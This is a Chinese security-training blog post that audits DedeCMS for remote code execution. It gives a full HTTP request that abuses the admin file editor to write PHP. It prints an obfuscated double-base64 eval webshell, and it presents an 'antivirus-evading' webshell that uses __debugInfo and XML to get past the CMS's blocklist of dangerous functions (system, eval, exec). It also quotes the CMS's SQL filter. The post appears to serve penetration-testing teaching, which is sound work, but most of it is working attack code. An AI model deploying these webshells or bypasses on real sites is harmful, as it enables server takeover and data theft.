当前位置: 首页 > 技术干货 > 意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

发表于:2025-08-15 16:57 作者: l0_0l 阅读数(28人)

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

官方网站 https://www.dedecms.com/

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

https://github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
   if ($k[0] == 'd' && $k[5] == 'd') {
       $template_source = str_replace($v,'',$password);
  }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
   header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
   echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $$key,等价于$template_source

$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

function DeleteFile($filename)
  {
       $filename = $this->baseDir.$this->activeDir."/$filename";
       if(is_file($filename))
      {
           @unlink($filename); $t="文件";
      }
       else
      {
           $t = "目录";
           if($this->allowDeleteDir==1)
          {
               $this->RmDirFiles($filename);
          } else
          {
               // 完善用户体验,by:sumic
               ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
               exit;
          }
           
      }
       ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
       return 0;
  }
}

是一个方法,这种需要寻找调用这个方法的地方

else if($fmdo=="del")
{
   $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

/**
* 文件管理控制
*
* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package       DedeCMS.Administrator
* @founder       IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license       http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

if(preg_match("#^select #i", $sqlquery))
  {
       $dsql->SetQuery($sqlquery);
       $dsql->Execute();
       if($dsql->GetTotalRow()<=0)
      {
           echo "运行SQL:{$sqlquery},无返回记录!";
      }
       else
      {
           echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
      }
       $j = 0;
       while($row = $dsql->GetArray())
      {
           $j++;
           if($j > 100)
          {
               break;
          }
           echo "<hr size=1 width='100%'/>";
           echo "记录:$j";
           echo "<hr size=1 width='100%'/>";
           foreach($row as $k=>$v)
          {
               echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
          }
      }
       exit();
  }
   if($querytype==2)
  {
       //普通的SQL语句
       $sqlquery = str_replace("\r","",$sqlquery);
       $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
       $nerrCode = ""; $i=0;
       foreach($sqls as $q)
      {
           $q = trim($q);
           if($q=="")
          {
               continue;
          }
           $dsql->ExecuteNoneQuery($q);
           $errCode = trim($dsql->GetError());
           if($errCode=="")
          {
               $i++;
          }
           else
          {
               $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
          }
      }
       echo "成功执行{$i}个SQL语句!<br><br>";
       echo $nerrCode;
  }
   else
  {
       $dsql->ExecuteNoneQuery($sqlquery);
       $nerrCode = trim($dsql->GetError());
       echo "成功执行1个SQL语句!<br><br>";
       echo $nerrCode;
  }
   exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

function Execute($id="me", $sql='')
{
     global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
     if($dsqli->isClose)
    {
         $this->Open(FALSE);
         $dsqli->isClose = FALSE;
    }
     if(!empty($sql))
    {
         $this->SetQuery($sql);
    }
     //SQL语句安全检查
     if($this->safeCheck)
    {
         CheckSql($this->queryString);
    }

     $t1 = ExecTime();
     //var_dump($this->queryString);
     $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

     //查询性能测试
     if($this->recordLog) {
$queryTime = ExecTime() - $t1;
         $this->RecordLog($queryTime);
         //echo $this->queryString."--{$queryTime}<hr />\r\n";
    }

     if($this->result[$id]===FALSE)
    {
         $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
    }
}

是有一个 checksql 的检查的

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
   function CheckSql($db_string,$querytype='select')
  {
       global $cfg_cookie_encode;
       $clean = '';
       $error='';
       $old_pos = 0;
       $pos = -1;
       $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
       $userIP = GetIP();
       $getUrl = GetCurUrl();

       //如果是普通查询语句,直接过滤一些特殊语法
       if($querytype=='select')
      {
           $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

           //$notallow2 = "--|/\*";
           if(preg_match("/".$notallow1."/i", $db_string))
          {
               fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
               exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
          }
      }

       //完整的SQL检查
       while (TRUE)
      {
           $pos = strpos($db_string, '\'', $pos + 1);
           if ($pos === FALSE)
          {
               break;
          }
           $clean .= substr($db_string, $old_pos, $pos - $old_pos);
           while (TRUE)
          {
               $pos1 = strpos($db_string, '\'', $pos + 1);
               $pos2 = strpos($db_string, '\\', $pos + 1);
               if ($pos1 === FALSE)
              {
                   break;
              }
               elseif ($pos2 == FALSE || $pos2 > $pos1)
              {
                   $pos = $pos1;
                   break;
              }
               $pos = $pos2 + 1;
          }
           $clean .= '$s$';
           $old_pos = $pos + 1;
      }
       $clean .= substr($db_string, $old_pos);
       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

       if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
       OR strpos($clean,'$s$$s$')!== FALSE)
      {
           $fail = TRUE;
           if(preg_match("#^create table#i",$clean)) $fail = FALSE;
           $error="unusual character";
      }

       //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
       if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="union detect";
      }

       //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
       elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
      {
           $fail = TRUE;
           $error="comment detect";
      }

       //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
       elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="slown down detect";
      }
       elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }
       elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="file fun detect";
      }

       //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
       elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
      {
           $fail = TRUE;
           $error="sub select detect";
      }
       if (!empty($fail))
      {
           fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
           exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
      }
       else
      {
           return $db_string;
      }
  }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
   csrf_check();
   $filename = str_replace("..", "", $filename);
   $file = "$cfg_basedir$activepath/$filename";
   $str = stripslashes($str);
   $fp = fopen($file, "w");
   fputs($fp, $str);
   fclose($fp);

   if ($fp === false) {
       ShowMsg("保存失败!请检查文件是否可写", -1);
       exit();
  }

   if(empty($backurl))
  {
       ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
  }
   else
  {
       ShowMsg("成功保存文件!",$backurl);
  }
   exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
   $value = str_replace(" ", "", $value);
   if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
   if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
   if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
       $str = dede_htmlspecialchars($str);
       die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
  }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

001.png

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

<?php

class User {
   private $username;
   private $password;

   public function __construct($username, $password) {
       $this->username = $username;
       $this->password = $password;
  }

   public function __debugInfo() {
       $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
       $xmlElement = new SimpleXMLElement($xmlData);
       $namespaces = $xmlElement->getNamespaces(TRUE);
       $xmlElement->rewind();
       var_dump($xmlElement->key());
       $result = $xmlElement->xpath('/books/system');
       var_dump (($result[0]->__toString()));
      ($xmlElement->key())($result[0]->__toString());
       return [
           'username' => $this->username,
           'info' => '这是调试时返回的信息',
           'timestamp' => time()
      ];
  }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

详情可以看到蚁景网络安全这个公众号

https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg

感谢给的平台

然后我们访问首页

成功弹出计算器

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 渗透测试工程师特训班 Web安全工程师特训班 Python网络安全实战班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   SRC赏金猎人大师班 HVV大师课